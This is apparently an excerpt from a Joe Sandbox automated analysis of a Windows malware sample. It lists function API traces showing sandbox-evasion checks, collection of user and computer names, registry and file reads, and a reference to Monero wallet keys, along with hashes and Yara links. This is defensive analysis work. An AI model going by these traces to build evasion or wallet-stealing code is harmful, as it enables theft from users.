Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 9073b7f03a7eb4df39f4eb9e1cf855925d54e2dd29f7acaf10c785ffc0e82423
Instruction ID: df0f8750968fcea1f31a13afd118f0013472314c4b35d9abb1a3c6132955def1
Opcode Fuzzy Hash: 9073b7f03a7eb4df39f4eb9e1cf855925d54e2dd29f7acaf10c785ffc0e82423
Instruction Fuzzy Hash: 320117B5A40308BBD710DFE4DC4AFAEB7B8EB54701F104555FA05B7281D7B065449F51

Function 003369F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F20C80), ref: 003398A1
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F20F50), ref: 003398BA
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F20D88), ref: 003398D2
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F20CC8), ref: 003398EA
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F20E00), ref: 00339903
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F29100), ref: 0033991B
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F14EE0), ref: 00339933
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F14EA0), ref: 0033994C
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F20CE0), ref: 00339964
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F20D70), ref: 0033997C
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F20CF8), ref: 00339995
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F20D40), ref: 003399AD
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F14DE0), ref: 003399C5
Part of subcall function 00339860: GetProcAddress.KERNEL32(75900000,00F20D10), ref: 003399DE

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 003211D0: ExitProcess.KERNEL32 ref: 00321211

Part of subcall function 00321160: GetSystemInfo.KERNEL32(?), ref: 0032116A
Part of subcall function 00321160: ExitProcess.KERNEL32 ref: 0032117E

Part of subcall function 00321110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0032112B
Part of subcall function 00321110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00321132
Part of subcall function 00321110: ExitProcess.KERNEL32 ref: 00321143

Part of subcall function 00321220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0032123E
Part of subcall function 00321220: ExitProcess.KERNEL32 ref: 00321294

Part of subcall function 00336770: GetUserDefaultLangID.KERNEL32 ref: 00336774

Part of subcall function 00321190: ExitProcess.KERNEL32 ref: 003211C6

Part of subcall function 00337850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003211B7), ref: 00337880
Part of subcall function 00337850: RtlAllocateHeap.NTDLL(00000000), ref: 00337887
Part of subcall function 00337850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0033789F

Part of subcall function 003378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337910
Part of subcall function 003378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00337917
Part of subcall function 003378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0033792F

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00F29160,?,0034110C,?,00000000,?,00341110,?,00000000,00340AEF), ref: 00336ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00336AE8
CloseHandle.KERNEL32(00000000), ref: 00336AF9
Sleep.KERNEL32(00001770), ref: 00336B04
CloseHandle.KERNEL32(?,00000000,?,00F29160,?,0034110C,?,00000000,?,00341110,?,00000000,00340AEF), ref: 00336B1A
ExitProcess.KERNEL32 ref: 00336B22

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: c68063f49443bb7510e1dfab1e822c4b4b3e589ce7919b073a7dbd8dfd926550
Instruction ID: 8d5e70b03560fe5e71e7b41355049fe1a7de6ee04c384dfebacbe2dccb7dd0a7
Opcode Fuzzy Hash: c68063f49443bb7510e1dfab1e822c4b4b3e589ce7919b073a7dbd8dfd926550
Instruction Fuzzy Hash: D0312D71904608AADB06FBF0DC97BEE7778AF14340F104518F242BE191DFB46905DAA2

Function 003299C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
LocalFree.KERNEL32(0032148F), ref: 00329A90
CloseHandle.KERNEL32(000000FF), ref: 00329A9A

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 36a711cd8a139a94331019fb7f99801dda475c719c758b8b60ae6d40c60165ff
Instruction ID: 4f594e4bc28e62a93840b53b1eb26426034b6ca9d699fa0fac3059772b95dc37
Opcode Fuzzy Hash: 36a711cd8a139a94331019fb7f99801dda475c719c758b8b60ae6d40c60165ff
Instruction Fuzzy Hash: C4314BB4A00309EFDB15CF98D885BEE77B9FF48300F108159E901AB290D778AA45DFA1

Function 00334780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00F2E368), ref: 003347DB

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

lstrcat.KERNEL32(?,00000000), ref: 00334801
lstrcat.KERNEL32(?,?), ref: 00334820
lstrcat.KERNEL32(?,?), ref: 00334834
lstrcat.KERNEL32(?,00F1AE78), ref: 00334847
lstrcat.KERNEL32(?,?), ref: 0033485B
lstrcat.KERNEL32(?,00F2DCC8), ref: 0033486F

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 00338D90: GetFileAttributesA.KERNEL32(00000000,?,00321B54,?,?,0034564C,?,?,00340E1F), ref: 00338D9F

Part of subcall function 00334570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00334580
Part of subcall function 00334570: RtlAllocateHeap.NTDLL(00000000), ref: 00334587
Part of subcall function 00334570: wsprintfA.USER32 ref: 003345A6
Part of subcall function 00334570: FindFirstFileA.KERNEL32(?,?), ref: 003345BD

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: ea2d30b042b1cc4491964b5a8529cee4100cebbcc8f8427e8d04b28dbcccf203
Instruction ID: f1c4a69c01705c732102e475f28c61c84d2de64352b808a5b6c2513cc4c3f247
Opcode Fuzzy Hash: ea2d30b042b1cc4491964b5a8529cee4100cebbcc8f8427e8d04b28dbcccf203
Instruction Fuzzy Hash: 913130B690031867CB16FBA0DCC5EED737CAB58700F404589B359AB091EEB4E6898F95

Function 003340B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00F2DCA8,00000000,00020119,?), ref: 003340F4
RegQueryValueExA.ADVAPI32(?,00F2E488,00000000,00000000,00000000,000000FF), ref: 00334118
RegCloseKey.ADVAPI32(?), ref: 00334122
lstrcat.KERNEL32(?,00000000), ref: 00334147
lstrcat.KERNEL32(?,00F2E560), ref: 0033415B

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 8f57a3720e56f9b314eedb38abba7d58ce30635f661a8dcfbef43591a84f63e3
Instruction ID: 4873f184f47159820b18be813473477cae80ed9fd6cff0509b3f489c1719522f
Opcode Fuzzy Hash: 8f57a3720e56f9b314eedb38abba7d58ce30635f661a8dcfbef43591a84f63e3
Instruction Fuzzy Hash: 8B418AB6D001086BDB15EBA4EC96FFE733DAB98300F008558F6155B181EAB55B8C8FD2

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 00337E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337E37
RtlAllocateHeap.NTDLL(00000000), ref: 00337E3E
RegOpenKeyExA.KERNEL32(80000002,00F1B818,00000000,00020119,?), ref: 00337E5E
RegQueryValueExA.KERNEL32(?,00F2DEC8,00000000,00000000,000000FF,000000FF), ref: 00337E7F
RegCloseKey.ADVAPI32(?), ref: 00337E92

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 11a98cff7ae748eb1872b74e66dc753137845147af4616cfb09dcd17a7ca337c
Instruction ID: e430d9b48562c98d9f136358e823f1725f341ba0a62a87f08647b5522a23a7fa
Opcode Fuzzy Hash: 11a98cff7ae748eb1872b74e66dc753137845147af4616cfb09dcd17a7ca337c
Instruction Fuzzy Hash: 01114CB1A44205EBDB14CF98DD89FBBBBBCEB44B11F104159F605A7680D7B468049FA2

Function 003212A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003212B4
RtlAllocateHeap.NTDLL(00000000), ref: 003212BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 003212D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003212F5
RegCloseKey.ADVAPI32(?), ref: 003212FF

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 3b32dafefba1d0db441f808ca405ca0705d0c24d12179469fbe53b74680635c5
Instruction ID: 271877e85a65e0af3f6863de87ad6166cbdb95b5aeb399d29babc72aae77dada
Opcode Fuzzy Hash: 3b32dafefba1d0db441f808ca405ca0705d0c24d12179469fbe53b74680635c5
